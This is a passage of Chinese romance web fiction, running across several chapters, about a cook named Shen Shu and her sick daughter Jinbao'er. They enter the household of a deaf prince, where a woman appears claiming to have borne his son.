锦宝儿瞪着圆圆的眼睛,左侧小脸上赫然两枚指印,都被捏肿了,右耳也被拧得红得像要滴血。 “赔宝儿萝卜。”锦宝儿抹了抹小脸上的泪,生气地说道。 小东西真是让人心疼……谢砚凛一把将她抱了起来,手掌轻轻落在她的后脑勺上,把她往怀里带。 卫昭走过来,咧开嘴朝锦宝儿笑:“叔叔等下让他们赔你十筐大萝卜。” “还有萝卜种子。”锦宝儿扁扁嘴,一脸委屈地指向墙边。 “宝儿放心,叔让他们赔你十筐!”卫昭伸手,想摸锦宝儿的脸。 谢砚凛眼角余光瞄到,身子一侧,躲开了卫昭的大手。他这么粗的手,别把小姑娘的脸摸疼了。 “宝儿,让娘看看受伤了吗。”沈姝把宝儿抱过来,紧紧地抱在怀里,心疼地往她的小脸上吹气。 锦宝儿摸摸小脸,小声说道:“有一点点疼。” 一定是很疼了,宝儿才会说出疼这个字。 “娘给宝儿擦药去。”沈姝顾不上谢砚凛了,抱着宝儿就往房里走。 她捧在手心里的宝儿,什么时候挨过打!那恶妇,沈姝恨不得撕了她! 先打水给宝儿洗干净脸,再从随身的小香包里拿了药膏出来,捧着她的小脸擦药。 “宝儿爹爹是大英雄!”锦宝儿突然大声起来,仰高了小脸往门边看,“宝儿娘亲是顶顶好的娘亲,宝儿是顶顶好的宝儿,宝儿爹爹是顶顶好的爹爹。” 谢砚凛眉角轻扬,嘴角抿了抿,眼神幽幽暗暗的,深不见底。沈姝这才发现他跟进来了,于是上前行礼。 “奴婢住处粗陋,恐会污了王爷锦衣,王爷还是请回吧。奴婢晌午之后一定赶回府去,不耽误小公子的晚膳。” 谢砚凛睨了沈姝一眼,抬起手,轻轻地一扒拉,把沈姝扒开,直接走进房间,环顾起屋里的陈设。 房间很小,不过收捡得很干净整齐。靠墙摆了一张小床,一个泛旧的木柜,除此再无它物。 窗子上挂的是粗布加细竹编成的帘子,碎瓷片磨圆了做了一串铃铛挂在帘边。床上的有两床被子,一床是小花棉被,是小宝儿坐在板车上时身上包裹的那一床。另一床看着就薄得无法御寒,上面还打了好几个补丁。枕头边放了个小布老虎,老虎脖子上还戴了一串草编的项链。 沈姝跟在他身后,一个劲地往宝儿身前挡,眼珠子都不敢从他身上挪开。 “姝儿,这是哪来的?”拢烟拿着一支参进来了,一脸的激动。 沈姝这时才发现人参不知何时掉落了,盒子摔在院中,人参在拢烟手里握着,沾了好多灰尘。 “是王爷赏的,你切成三份熬成参药。”沈姝偷瞄了一眼谢砚凛,开始担心他是后悔了来讨回人参的,所以赶紧熬药是正道。 “我现在就去。”拢烟激动过了头,捧着参就往外跑,嘀咕道:“老天保佑,菩萨显灵,宝儿的病该好了……” 沈姝悄咪咪地往门口挪了几步,若他真反悔想拿走参,她就在门口拦住他,让他出不去。 “大人,你过来坐。”锦宝儿从小床上溜下来,走到谢砚凛面前,摇摇他的衣袖,仰着小脸叫他。 谢砚凛低眸看向她,手掌动了动,轻轻地拉住了她的小手。 锦宝儿咧咧嘴,露出一个笑,牵着他走到小床边,拍着小床,又仰起小脸看他。 “宝儿,王爷要回府了。”沈姝见宝儿主动和他亲近,于是上前想抱回宝儿。 这世间哪有无缘无故的好?还不知道谢砚凛在打什么主意,不能让宝儿接近他。 谢砚凛似是察觉到了她的意图,身子一侧,把沈姝挡在一边,直接把锦宝儿抱到膝上坐着,托起她的小脸,看看她的小鼻头,手指轻轻地摸在她被掐肿的小脸上。 “疼?”他哑声问。 锦宝儿歪了歪小脸,点头:“疼的。” 谢砚凛眸中的光又寒了几分,指尖在她的脸上轻轻抚挲着。 锦宝儿歪歪小脑袋,奶声奶气地说道:“宝儿的脸最好看,不能捏。” 谢砚凛挑挑眉,嘴角情不自禁地弯起一丝弧度。 “大人,给你吃。”锦宝儿埋下小脑袋,小手在衣裳兜里扒拉扒拉,扒出两颗生花生。 “你自己吃。”谢砚凛摇头,哑声道。 “你吃。”锦宝儿剥开一颗花生,把胖嘟嘟的花生米捧到谢砚凛面前,眨巴着圆眼睛,期待地看着谢砚凛。 “宝儿,王爷不吃花生。”沈姝走过来,柔声劝道。 “那宝儿去拿萝卜。”锦宝儿奶呼呼地吸吸鼻子,从谢砚凛腿上爬了下来。 姑姑说这位大人请娘亲干活,所以她要“巴结”大人,这样大人少让娘亲干活,多让娘亲吃饭!花生和萝卜,都是她最宝贝的吃食,她全都给大人。 谢砚凛一直看着她跑出去,这才抬头看向沈姝,哑声问:“四年前,你在哪里?” 啊?沈姝愣了一下。 四年前她在逃命啊!东奔西窜,狼狈得像条狗。 她想了想,倒了盏茶,手指沾了水在桌子上写:“在晋城宁家做厨娘。” 谢砚凛看向她露在袖外的那戴雪色手腕,又闻到了淡淡的海棠香。 第17章 心软,情急 锦宝儿抱着一只大萝卜走进来了,双手举着萝卜,小心地捧到谢砚凛面前。 “大人,给你吃。”她笑眯眯地看着谢砚凛。 这是她最珍贵的一支白萝卜,她一直舍不得吃,想等娘亲回来后一起做萝卜饼。可是谢砚凛来了,还帮她和娘亲赶跑了坏人,所以她决定把萝卜送给谢砚凛。 谢砚凛眉角扬了扬,接过了萝卜。这萝卜已经皱巴巴了,下半截泛起了黑色,早就不新鲜了。 锦宝儿见他接了萝卜,咧开小嘴儿,软呼呼地说道:“香的,你吃。” 谢砚凛摇摇头,手一挥,把萝卜丢到了窗外。 这种东西本就不该拿给孩子吃,何况是生病的宝儿。 锦宝儿眼睛一下子就瞪圆了,抽出手就往外跑。 “宝儿的萝卜。”她着急地大叫。 “小心绊着。”沈姝赶紧追出去,在锦宝儿绊倒前抱住了她。 锦宝儿心里急,眼泪都快落下来了,她一脸难过地看了看谢砚凛,从沈姝怀里挣脱下来,迈出门槛去捡萝卜。 “王爷这是做什么。”沈姝忍着气看向谢砚凛。 “坏了。”谢砚凛皱起眉,拿起腰牌放到桌上:“去支钱买。” 沈姝深深地吸了一口气,让自己冷静下来,双手放于身前,向谢砚凛行了个礼。 “请王爷下回不要再扔宝儿的东西,若是不喜,放在一边就好。奴婢这里粗陋,还请王爹移驾回府。” 赶他走?他从无恶意,只是听侍卫说她回来送人参,便想着过来带她一起回府。扔掉萝卜,也是觉得那东西不该给宝儿吃。 沈姝真是不识好人心!还有,虽然离得近能听到一些话,但是终归不是完整的话语,她声音小,嘴巴一张一合,还不知道骂了他什么。 “你来。”他朝沈姝勾手。 沈姝掀了掀眸子,站着不动。她又不傻,过去干什么? “王爷若觉得奴婢说得不对,王爷想扔什么就扔什么。”她想了想,索性说开。 “她生病,不该那吃那东西。”果然是为萝卜的事!谢砚凛忍着气,冷脸说道。 “奴婢知道。”沈姝平静地回他。 宝儿总是这样,像小猫崽护食一般,一定要留一点吃食她才安心。所以每一次她都会提前准备好萝卜,在宝儿不得不吃掉她最后一根萝卜时,悄悄换下来。 “知道你还给她。”谢砚凛眉头微皱,但话至一半,他又停下了。算了,沈姝过得困苦,他不该这样说她。 “月例,每月三十两。”他凝视着沈姝蒙了层细汗的脸,哑声说道。 三十两?沈姝猛地抬头,错愕地看向他,他竟然会给她加钱!难道是因为扔了宝儿的萝卜,所以心怀愧疚要补偿她?这理由能站住脚吗? 沈姝想了想,试探道:“王爷需要奴婢另做什么吗?” 宫中美人以下妃嫔的月例也没有三十两,她一个王府的雇佣婢女凭什么拿这么多。 难道谢砚凛根本就是个外冷内色的货?他在打她的歪心思! “瞎想什么!”谢砚凛看着她脸上神情变化的样子,气笑了,“本王,是让你不要为宝儿分心,耽误小公子。” 真生气了,本王都说出来了。可沈姝还是不敢信,天降大馅饼,哪能这么容易? “当真?”她又问道。 “不要算了。”谢砚凛俊脸一沉,起身就要走。 “要要要要……唷……”沈姝一把抓住他的袖子,一时心急,嘴都瓢了。 沈姝有些尴尬,缩回手,摸了摸嘴巴:“王爷恕罪。” “娘亲在唱歌吗?唷唷唷……小花袄……唷唷唷……小鸭跑……” 锦宝儿又进来了,她唱着歌,小心地把一块糖霜放到谢砚凛的面前,仰着小脸,一脸期待地看着他。 “你吃。”锦宝儿说道。 她刚刚认真地想了好一会儿,这位大人好像不是坏人,他之前还给过她很多银子呢,可能是因为他不喜欢吃萝卜,所以才把萝卜扔了。所以!她决定把自己最最珍贵的一块糖霜拿出来! “王爷不吃糖,宝儿自己留着。”沈姝看到那块糖,连忙过去抱起她。 她没想到,宝儿还留着这块糖。 这是她上个月给锦宝儿买的,就这么一小块,锦宝儿馋得狠了,也只会拿出来闻闻。她喝的药实在太苦了,每次喝了药就会吐,可吐完了还是得喝……直到小身子吐得蜷成一团,不停地发抖…… 沈姝一直以为宝儿已经把糖吃了,没想到竟悄悄藏在到现在。如今这糖已经开始融化了,但包装依然完整,一点都没有坏。 “王爷有,宝儿自己吃。”沈姝哄道。 “王爷吃。”锦宝儿把糖往谢砚凛面前推。眼见谢砚凛不接糖,小眉头皱了起来。他怎么什么都不要呢?不要萝卜不要花生,她想不出别的东西可以送给谢砚凛了。 “好。”谢砚凛接过糖,剥开上面那层薄薄的牛皮纸,把糖放进了嘴里。 沈姝顿时气笑了,他怎么敢吃掉小孩子的糖?真想把糖从他嘴里抠出来!算了,他刚刚说给她三十两,这颗糖给他! “你说,香的。”锦宝儿见他吃了糖,开开心心地掏出小手帕给谢砚凛擦嘴巴,笑眯眯地说道。 谢砚凛犹豫了一下,说道:“香的……” “嗯,香的!”锦宝儿笑眯眯地看向沈姝,奶声奶气地夸自己:“锦宝儿真厉害。” 沈姝这才明白她的意思,她是夸自己哄住了谢砚凛。可哄谢砚凛是她的事,连累宝儿丢了萝卜,伤心一场。 这时锦宝儿从沈姝怀里挣下来,拉着小裙摆朝着谢砚凛行礼:“大人,你请宝儿干活吧。” “嗯?”谢砚凛费解地看着她。 “你吃了锦宝儿的糖,所以请锦宝儿干活吧。”锦宝儿期待地看着谢砚凛。 “宝儿,你是不是想进王府?”卫昭反应过来,身子从外面探进来,大声问她。 锦宝儿用力点头,竖起食指轻轻地晃了晃:“宝儿不要钱,宝儿每天只用吃一小碗饭,吃少少的饭,干很多很多活。” 她能帮娘亲干活,洗衣服,种萝卜,扫地…… “哎哟哟,我的小宝儿哎,这个只怕不行。先王府可不能随便进。”卫昭赶紧哄她。这小东西真招人疼,若是可以,他也想把小宝儿带到王府去,天天看到她。 锦宝儿见谢砚凛不出声,小脸垮了下来,眨巴着大眼睛,不知所措地看向沈姝。 眼见锦宝儿露出了失望的神色,谢砚凛起身过来,一把抱起了锦宝儿。 “请你。”他道。 第18章 同骑,儿子 卫昭和侍卫都愣住了。 “王爷。”沈姝急忙去追谢砚凛。怎么说走就走,总得说明白宝儿去了能住几日,总不能今日去,今晚就让她送回来吧? “沈娘子,这是大好事!王爷同意把宝儿带回王府,你赶紧收拾一下。”卫昭反应过来,乐呵呵地说道。 沈姝脑子有点晕乎,可她没时间去猜谢砚凛的心思,收了几件宝儿的东西,和拢烟交代了几句,追了出去。 “参药带着。”拢烟端着药罐子追了出来。这药要熬足五个时辰,现在才过去一个时辰! “你守好家。”沈姝接过小篮子,小声叮嘱了她几句。院子虽破,可这是她和拢烟的栖身之地,不能离人。 走到巷子口,侍卫们都已经上了马,只有卫昭在马边站着, “沈娘子坐我的马。”卫昭朝沈姝招手。 沈姝应了声,快步朝卫昭走去。就在她从谢砚凛的马儿前面走过时,谢砚凛突然下了马,握着她的腰把她放到了马背上。 “王爷?”卫昭看呆了。 “还不走。”谢砚凛眼皮撩起,冷冷地扫了卫昭一眼。 卫昭一头雾水地上了马,带着侍卫在前面开路。 谢砚凛跃身上马,胳膊从母女二人身边环过,紧紧拉住缰绳,把母女二人牢牢地环在怀里。 “坐稳。”他说道。 沈姝赶紧把锦宝儿搂住。 “大马儿的脚抬好高呀。”锦宝儿睁大了圆溜溜的大眼睛,激动地说道。 这是她第一次坐大马,疾劲的风扑面而来,吹得她眯起了眼睛。她兴奋地把小脑袋钻出披风,努力仰着小脸看谢砚凛。这个王爷简直太厉害了,会打坏人,还会骑大马,真是一个很厉害的人。 谢砚凛手臂一挥,披风刷地一下围拢业,将宝儿又藏进了披风里。 半炷香之后,马停在了角门处。他把沈姝母女放下来,自己打前门进府。前门处停了好几驾马车,也不知道什么人来了,沈姝身份特殊,不便在太多人面前出现。 “娘亲。”锦宝儿摇了摇沈姝的手,仰着小脸看她:“大人真厉害,他会骑大马!” “他是王爷,进了王府要称呼他为王爷。”沈姝蹲下来,给她理了理小发辫,柔声叮嘱王府里的规矩。 “宝儿记住啦。”锦宝儿扳着手指头一条一条地记,咧着小嘴一把抱住了沈姝的脖子,“宝儿天天和娘亲在一起。” “进去了。”沈姝牵着宝儿走到角门处,轻轻叩响门,递上卫昭的腰牌,领着宝儿进去。 “唷,这么小的小姑娘,沈娘子这是你的孩子?”主院门口洒扫的婢女看到了锦宝儿,好奇地朝她看。 “是我的女儿,她叫锦宝儿,”沈姝赶紧说道。 “给姐姐问好。”锦宝儿拉起小裙摆,曲膝给婢女们打招呼。 “锦宝儿真乖。沈娘子,你这小闺女和你一模一样。”婢女们乐了,都围过来逗她。 锦宝儿拍拍小胸脯,奶呼呼地说道:“宝儿也会扫地,以后我帮姐姐干活。” “宝儿好厉害。”一名婢女点了点锦宝儿的小鼻头,笑道。 “你们干什么!还不赶紧去做事!”赵姑娘带了几个婢女快步从主院大门走出来,厉声呵斥。 众婢女见赵姑娘发火,赶紧散开。 赵姑娘这才冷着脸看向沈姝,她看到锦宝儿,怔了一下,随即怒气冲冲地说道:“沈娘子,你竟敢把孩子私自带进府里,简直胆大包天。来人,还不把这孩子丢出去。” “这是王爷应允的。这是卫大人的腰牌。”沈姝把孩子护在身后,轻声说道:“还请你小声点,别吓到她。” “你做什么白日梦,王爷怎么会让你带孩子进府!”赵姑娘冷着脸,一脸敌意地看着沈姝。 “是王爷要请锦宝儿干活,是真的。”锦宝儿探出小脑袋,大声说道。 “小丫头,撒谎是要被割掉舌头的,你说,是不是你娘悄悄带你进来的?”赵姑娘弯下腰,盯住了锦宝儿的眼睛,故意吓唬她。 “赵姑娘,我再说一次,不要吓孩子。”沈姝冷下了脸,伸手挡开了赵姑娘。 锦宝儿探出不脑袋,冲赵姑娘皱皱小脸,奶声奶气地说道:“就是王爷带着宝儿骑大马来的唷!撒谎变成大蛤蟆。” 赵姑娘脸色更难看了,她冷笑几声看向了沈姝:“沈娘子好本事。” “过奖。”沈姝淡定地说道。 “赵姐姐!王爷的庶长子找回来了!”这时一个婢女冲进来,兴奋地大叫道。 “什么庶长子?”赵姑娘脸色一凛,立刻问道。 “老夫人进香回来了,还把王爷流落在外的庶长子带回来了!王爷正和他滴血认亲呢。”那婢女激动地说道。 “王爷哪来的孩子?走,去看看。”赵姑娘怔了一下,再也顾不上沈姝母女,带着人匆匆走开。 沈姝也有些懵,谢砚凛成亲了吗?他啥时候有了孩子?难道他给她涨月例,是因为需要她给两个孩子当奶娘? 原来如此!她总算放下心来。男女那种事,她可不想再试了。当年那男人虽然昏睡着,可是本钱太足了,很是让她吃了些苦头。过程简直毫无乐趣可言,所以这辈子她都不想来第二次。 “娘亲,我们进去。”锦宝儿拉着沈姝往大门里走。她对孩子的事毫无兴趣,只想趁那个讨厌的姐姐不在,赶紧和娘亲到大房子里面去。 …… 前殿。 谢砚凛坐在主座上,谢老夫人坐于他身侧,激动地攥紧了帕子。 方嬷嬷端着一碗清水,水中两团鲜血正缓缓相融。 “融了,融了!这验了五次全都成了,真是王爷的血脉。”方嬷嬷惊喜地叫道,把水碗捧到谢砚凛和老夫人面前,让二人细看。 “还真是!那年请了留种娘子,不想真的成了。”老夫人满意地点点头,看向了殿中跪着的人。 一名穿着水蓝色衣裳的女人跪在那里,看容貌有几分姿色,是梨花带雨的柔弱模样。身边是一个三岁多的小男孩子,模样与谢砚凛有六七分相似,长得很结实,只是看着有些胆怯,一个劲地往女人身后躲。 谢砚凛轻捻着指上的新鲜刀口,眉头微微皱起。 同样是孩子,他第一眼看到宝儿就觉得亲近,可对这孩子他并没有半点感觉。 难道这孩子是冒充的?血液相融又是怎么回事? 他看着母女二人,乌幽的双瞳微微眯起,悄然藏起了瞳中杀气。 第19章 滴血,亲生 谢老夫人看了谢砚凛一眼,笑着说道:“我这两日已经反复查验过,她身上有孙嬷嬷的信物,事事都对得上。孙娘子病死了,她怕王府不认她,所以便自己带着孩子过活。” 妇人抬起水媚的眼睛,羞答答地看谢砚凛,朝他露出一记讨好的笑。 “她叫吴南枝,为了救她爹才走了那条路。她爹是个秀才,读书人,门第低些不要紧,家世清白就好。况且她生了你的庶长子,于我们谢家有功!今日娘替你做主,把她纳进来做个妾室,你身边总要有女人服侍,孩子亲娘总好过那些强塞给你的女子。” 卫昭在一边挥笔疾书,把老夫人说的话写给谢砚凛看。 谢砚凛看着她,脑子里浮出现那晚女子的双眸。那眼神有羞涩,有难过……唯独没有讨好。 这个吴南枝,一定是假的。 他不动声色地站起身,朝着谢老夫人行了个礼,大步往外走去。敢拿血脉一事做文章,吴南枝身后一定有人。 “哎。”见他冷漠,谢老夫人只当他接受不了吴南枝的身份,于是说道:“传我的话下去,庶长子取名谢长生,明日请谢氏族入老开宗祠,入族谱。” 吴南枝面上一喜,赶紧跪下磕头:“多谢老夫人!” …… 主院。 谢砚凛一进门就看到了坐在台阶上的锦宝儿,身边放着一只小竹筐,她从筐里抓出几根豆角,一根一根地折豆角。 “折豆角,炒豆角,香香的,煮豆角。”她软呼呼地念着,不时把折好的豆角放到手心里比比长短。 谢砚凛看着她,那股子亲切感又来了。这孩子分明比谢长生更像他的亲生孩子。 “宝儿,我能不能要你一滴血。”他走过去,托起了她的小手看。 锦宝儿眨巴着大眼睛,显然不明白他的意思。 “你看,就在这里轻轻割一下。”谢砚凛把食指给宝儿看。他的手指上有刚割的刀口。 锦宝儿叹了口气,放下豆角,捧着他的手,冲着他的手指尖吹气。 “你不乖,打架了是不是?”她一边吹,一边絮叨:“受伤了就要吃药,嘴巴苦苦的,你娘亲还会难过。” 细软的气体吹在他的指尖,他方才的烦躁之气瞬间消失得无影无踪。 “宝儿。”他哑声唤道。 锦宝儿抬起头,举高了小手,往他肩上拍了拍:“你要乖唷。” 谢砚凛看着她小小的巴掌,拿到一半的刀又收了回去。 算了,等过几日她身体好一些了再与她滴血认亲。她还病着,若是割上一刀,肯定会吓到她。 “王爷,宝儿在干活。你自己去玩唷。”锦宝儿拿起豆角继续折。 “你娘亲呢?”谢砚凛往四周看,没看到沈姝的身影。 “娘亲去做饭啦,让宝儿乖乖坐在这里,不要乱走。”锦宝儿歪着小脑袋看谢砚凛。 “外面风大,进去。”谢砚凛又道。 “宝儿不进去,不要把地上弄得脏脏的,娘亲扫地辛苦。”锦宝儿弯下小身子,把洒在地上的豆角筋捡起来,放到筐里。 “会有人扫。”谢砚凛把她抱起来,大步走进了耳房。 锦宝儿的小药罐就放在桌上,用小陶炉煮着。床上放着锦宝儿几身小衣裳,还有她的布老虎。 “一个人害怕吗?”谢砚凛又问。 锦宝儿摇头:“锦宝儿壮壮的,不害怕。” 这小胳膊瘦得他都不敢用力握,哪里就壮壮了? “饿不饿?”谢砚凛摸摸她还有些肿的小脸问道。 锦宝儿摸肚子,不好意思地笑了:“饿的。” 谢砚凛想了想,走到门外,招手叫来一个婢女,让她去拿糕点。 没一会儿,婢女就端了两碟子糕点过来。 “吃。”谢砚凛摸摸她的小脑袋,这才出来。 他还得去弄清楚那对母子的来历,当年操办此事的孙嬷嬷死了,他一直查不出女子的身份。如今这吴南枝突然冒出来,他反而看到了一点希望。 “王爷。”沈姝回来了,手里端着食盒。 给谢黯的晚膳做好了,是答应他的八宝鸭,还有南瓜米饭。 “给宝儿一份。”谢砚凛看了她一眼,大步往书房走去。 沈姝看着他的背影,忍不住想到他的庶长子。他的孩子长啥样?和他一样好看吗?那孩子可真幸运,能生在凛王府,这辈子都衣食无忧了。 沈姝以前听大人说起养孩子,都说孩子得养得有出息才算好。后来她自己养宝儿,只想宝儿衣食无忧,健康快乐。再无所求。 “王爷给我糕点,他真是一个好人。”锦宝儿拿着糕点,笑眯眯地举给沈姝看。 “嗯,他是好人。乖宝儿吃多多的,茶碗里有水,记得不要碰到药炉,在屋里等娘亲回来。”沈姝朝她笑笑,端着食盒往外走去。 锦宝儿乖乖点头,端端正正在坐在小床上吃糕点。 没一会儿外面传来谢黯下学的消息,不过他没回主院,直接被老夫人接去见新进府的弟弟。 那份八宝鸭放凉了,最后端回了厨房。锦宝儿和沈姝的晚膳与丫鬟们一样,一碟豆腐,一碟豆角烧肉。饶是这样,也比她们平常吃得好太多了。 锦宝儿大口地扒着饭,开心得不得了。 能和娘亲呆在一起,还有好吃的饭,她觉得自己真是个好运宝宝。 “给姑姑留豆腐吃。”她看着碟子里的豆腐,大声说道。 “姑姑有,你忘啦,你给姑姑赚了好多银子,”沈姝把豆腐夹进锦宝儿的碗里,柔声道:“宝儿吃。” 锦宝儿想到她赚的那包银子,这才大口吃掉碗里的豆腐。 太美味了,明天还想吃烧豆腐。她揉揉圆圆的小肚子,转头看向窗外。月亮也圆圆的,照得院子亮堂堂,风里是清新的花香。这些她以前从来没见过。 “宝儿长大,也给娘亲建这样的大屋子。”她趴在窗台上,快活地说道。 “娘亲先给宝儿建这样的大屋子。”沈姝收好桌子,趴在窗台上和宝儿一起看外面的风景。 “宝儿还想给娘亲找王爷一样的儿子,壮壮的儿子。”锦宝儿歪了歪小脑袋,笑眯眯地说道。 第20章 小倌,采露 让谢砚凛给她当儿子? 沈姝脑子里一下子就冒出了那画面,谢砚凛小狗儿一样垂着脑袋,乖顺地站在她面前,听她指挥…… 不对劲,这样子好像有点邪恶。她见过贵妇人养小倌儿,那小倌儿趴在贵妇人的怀里撒娇,姿态堪比狐狸精。若谢砚凛也那般,她可受不了…… 沈姝打了个冷战,赶紧拿起针线活分散注意力。 “宝儿也会长得壮壮的,胳膊和王爷一样壮。”宝儿趴过来,和她头挨头,伸出小胳膊给她看。 “嗯,长壮壮的胳膊。”沈姝笑着往她的小脸上用力亲了一口。 不管这一天有多累,看到小宝儿,她便不觉得累了。 “睡吧。”她打来热水给她擦洗手脸,再泡泡小脚丫,换上小寝衣,把她抱到小床上。 锦宝儿上一回睡这么舒服的小床,是跟着沈姝在丁家当厨娘的时候。不过没能住多久,丁家要去北边,只用很少的钱打发了母女二人,在沈姝的争取下,丁夫人丢给她们一床被子,正是锦宝儿的那床小花被。 此时锦宝儿躺在小床上,脸埋进松软的棉被里,小心翼翼地蹭了又蹭,又蹭了蹭,咧着小嘴儿笑了起来。 “软的!”她说道。像云朵一样软! “嗯,软的。”沈姝掀开被子,让她躺进去。 锦宝儿在被子里拱了又拱,像个小毛毛虫。沈姝没催她睡,让她尽情地享受棉被带给她的快乐。 参药已经熬足了时辰,现在晾着,等取得明天清晨的露水,就能让宝儿服下了。 沈姝把小陶罐小心地到柜子里,柜子上一把锁,这才放下心来。 这时身后响起了锦宝儿的呼吸声,她睡着了。 她今天兴奋了一天,睡在软软的被子里很容易就坠入了梦乡。长长的睫毛轻合着,小嘴巴还动了动,像在回味今天吃到的美味。 沈姝给她掖好被子,拿出纸笔写明天早的早膳式样。老夫人回来了,她需得好好表现,才能让这份差事更稳当点。 精心设计了好一会,她终于定下了三道早膳。用青菜叶揉面,做一道青菜肉沫面条,软烂好消化。再做一道梅花糕,一道牛乳羹。 放下笔时,外面已经在敲四更鼓了,她睡两个时辰就得起来准备早膳。她又看了一眼锁紧的柜门,这才挨着锦宝儿躺下。 终于能每晚陪着锦宝儿睡了,明早她一定第一时间去向谢砚凛道谢,还要向他贺喜,恭贺他寻回亲生子。睡着前她又忍不住想,那孩子真是好运啊…… 迷迷糊糊睡了不到一个时辰,沈姝醒了。看了看天色,还黑漆漆的,不到四更。她给宝儿理了一下被子,轻手轻脚地出来。 先去采露水,宝儿醒来就能喝上参药了。 拉开门,一股凉风吹过来,让她忍不住打了个激灵。她反手锁好门,快步往院中那株海棠树走去。 海棠花上露,浸了整晚的月色,想必是最清澈的。她轻轻地托起一片叶子,将叶上的露水扫入手中的小瓷碗。 “在做什么?”谢砚凛的声音从她身后响起。 他竟然也起这么早! 沈姝连忙转过身向他行礼。 “奴婢采些露水,等下用做早膳。”沈姝撒了个小谎。她不想让谢砚凛觉得她没认真做事,只管她的宝儿。 “谢黯的膳食,不用这么精细。”谢砚凛站在她身后,从她手里拿走瓷碗。 “要的、要的……”沈姝连忙伸长了手,想把碗拿回来。 她已经采了小半碗了,千万别给她倒了。她时间宝贵,没功夫再采一次。 谢砚凛扫了她一眼,把水往地上倒。 真是谢谢他! 沈姝眼看那碗口要倾倒下来,直接用头顶住了碗口,双手牢牢托住他的胳膊。 谢砚凛动作僵住,低眸看向她。她个子不高,正好到他胸口处,想用脑袋顶住碗口,须得把脚尖给踮起来。她就这样站在他面前,低着头,举着双手,纤细的手指尖一点点摸过他的手腕,摸到了小瓷碗。 “王爷!请务必让奴婢好好表现!”沈姝抓稳了瓷碗,这才抬起头来,朝着谢砚凛正色道:“奴婢一定要用这海棠露水,做一道极美味的早膳。” “随你。”谢砚凛又闻到了从她袖口飘出来的淡淡香气,心脏处痒了痒,松开了那只碗。 “多谢王爷成全!”沈姝立刻捧着碗退到了树边,继续从海棠花瓣里采露水。 很快就采了大半碗的水,她端着水就往小厨房走,把水煮沸,倒入参药,大功告成! “沈姝。”谢砚凛唤了她一声。 沈姝脚步不停,转头看向他。采露水费了太多功夫,她真的没时间了,五更一过,小公子便要起来,她的早膳还没炖上。 谢砚凛看着她亮晶晶的眸子,那句话始终问不出口。沈丞相在世时,铁骨铮铮,宁死不认罪。沈家女怎么可能去做留种娘子。若他毫无根据直接问她,岂非侮辱?沈姝若是一怒之下离开…… 算了,他先解决吴南枝的事。 “我与小公子同食。”谢砚凛说道。 “是。”沈姝转过头,往厨房走去。小孩子吃的东西软烂,口味清淡,他跟着凑什么热闹。 沈姝把露水煮上,然后用青菜汁和面,她要给小公子做青菜肉臊面。 至于露水,她只管哄谢砚凛,就说是用来蒸蛋羹的,未必他还真能吃出区别。 天渐渐亮了,婢女们都起来了,洒扫,整理,院子里一阵沙沙声。 沈姝把煮沸的露水用小碗盛着,跑回房间给宝儿准备参药。 锦宝儿已经醒了,自己穿好了衣裳,乖乖地坐在桌边等她。 “今天就能吃药了。”沈姝兴奋地把露水放进参药里,放到小炉子上熬煮。 锦宝儿看着小炉子也很兴奋:“宝儿以后就能长壮壮了吗?” “当然。”沈姝吧唧一口亲在她的小脸上,激动地说道。 她真的盼了好久,一天一天又一天,总算盼到了这一天。 宝儿能像所有健康的宝宝一样,长得白白胖胖的,再也不发病了。 院子里,谢砚凛带着谢黯站在海棠树下,从这儿正好能看到耳房的小窗里面。 “小叔,祖母亲过你的脸吗?”谢黯仰起小脑袋看谢砚凛。 谢砚凛不记得了。或者在他很小的时候有过吧,但从他记事起,母亲和他之间就有距离。他母亲是世家贵女,孩子生下来便有奶娘照看,行为举止极为讲究,父亲更是严苛,对他和哥哥从来只有教训和要求。 “小叔,你能亲亲我吗?”谢黯又问。 谢砚凛觉得有点难…… 他想了想,抱起谢黯走向耳房。 “王爷。”看到他进来,沈姝连忙行礼。 “亲一下。”谢砚凛哑声道。 第21章 亲脸,喝药 什么鬼? 沈姝震惊地看着他,难怪近日总感觉他怪怪的,原来他真的色心动了!这个厚脸皮,他怎么能当着两个孩子说出来?! 锦宝儿爬上了凳子,小脑袋凑过去,往谢砚凛的俊脸上吧唧亲了一大口。 谢砚凛整个人都僵住了。 他有些难以相信发生的事,锦宝儿怎么突然亲他? “不是的,小叔是替我说的……淑姨,能亲我吗?”谢黯有些难为情,一双小手不知道往哪里放才好。 沈姝一口气终于吐了出来,小声道:“吓我一跳,我以为他让我亲他一口。” 谢砚凛的脸慢慢红了,一直红到了耳下,他紧抿着唇,把谢黯往地上一放,转身就走。 “好吧,我亲亲你。”锦宝儿踮起脚尖,往谢黯的小脸上吧唧亲了一口。 谢黯激动得很,摸了摸脸,拉起锦宝儿的手就往外走。 “走,我们用早膳去。” “宝儿和娘亲一起吃饭。”锦宝儿乖巧地摇头。 “小公子,这样不合规矩,你的早膳马上就端上来。”沈姝弯下腰,温柔地拉了拉谢黯的小手。 谢黯想了想,轻轻点头:“那我的早膳,请淑姨分一半给小妹妹。” “谢谢小公子哥哥。”锦宝儿笑眯眯地说道。 沈姝松了口气,把锦宝儿抱回小床上坐着,小声说道:“看好药汤,等娘亲回来喂你喝。” “嗯,宝儿记住了。”锦宝儿乖乖地点头。 沈姝脚步匆匆,跑进厨房端出了给谢砚凛和谢黯的早膳。谢黯的面用小碗盛着,谢砚凛的用一只大瓷碗,满满地装了一碗。 谢砚凛和谢黯在桌边坐得端端正正,早膳放下来,二人同时拿起筷子开始用膳,全程安安静静。 “王爷,吴姨娘和二公子来给您请安了。”赵姑娘快步进来,向谢砚凛行了个礼,双手捧上了谢老夫人亲手写的纸条。 沈姝好奇地往门口看,吴姨娘穿了身水红色的罗裙,身材略为丰满,二公子的眉眼和谢砚凛有五六分相似。 原来谢砚凛喜欢这样的。 “王爷,小公子。”吴姨娘牵着谢长生进来,一双媚眼小心地往谢砚凛身上扫。 “我去学堂。”谢黯放下筷子,朝谢砚凛行了个礼。 “王爷能让长生一起去吗?”吴姨娘赶紧说道。 谢黯停下来,小声说道:“小叔听不到,吴姨娘最好写下来。” 吴南枝尴尬地笑了笑,侧身让开路。她抬头看,一眼看到了沈姝,顿时怔住了,微不可察地打了个冷战。 谢砚凛此时也放下了筷子,起身往外走。 吴南枝赶紧追过去,壮着胆子拉住他的袖子,堆着笑脸说道:“妾身有话与王爷说。” 谢砚凛抽回袖子,冷冷地扫了吴南枝一眼,大步往外走去。 “王爷听不到,吴姨娘写下来给王爷看。”沈姝好心地提醒道。 吴南枝恼怒地瞪了沈姝一眼,快步去追谢砚凛。 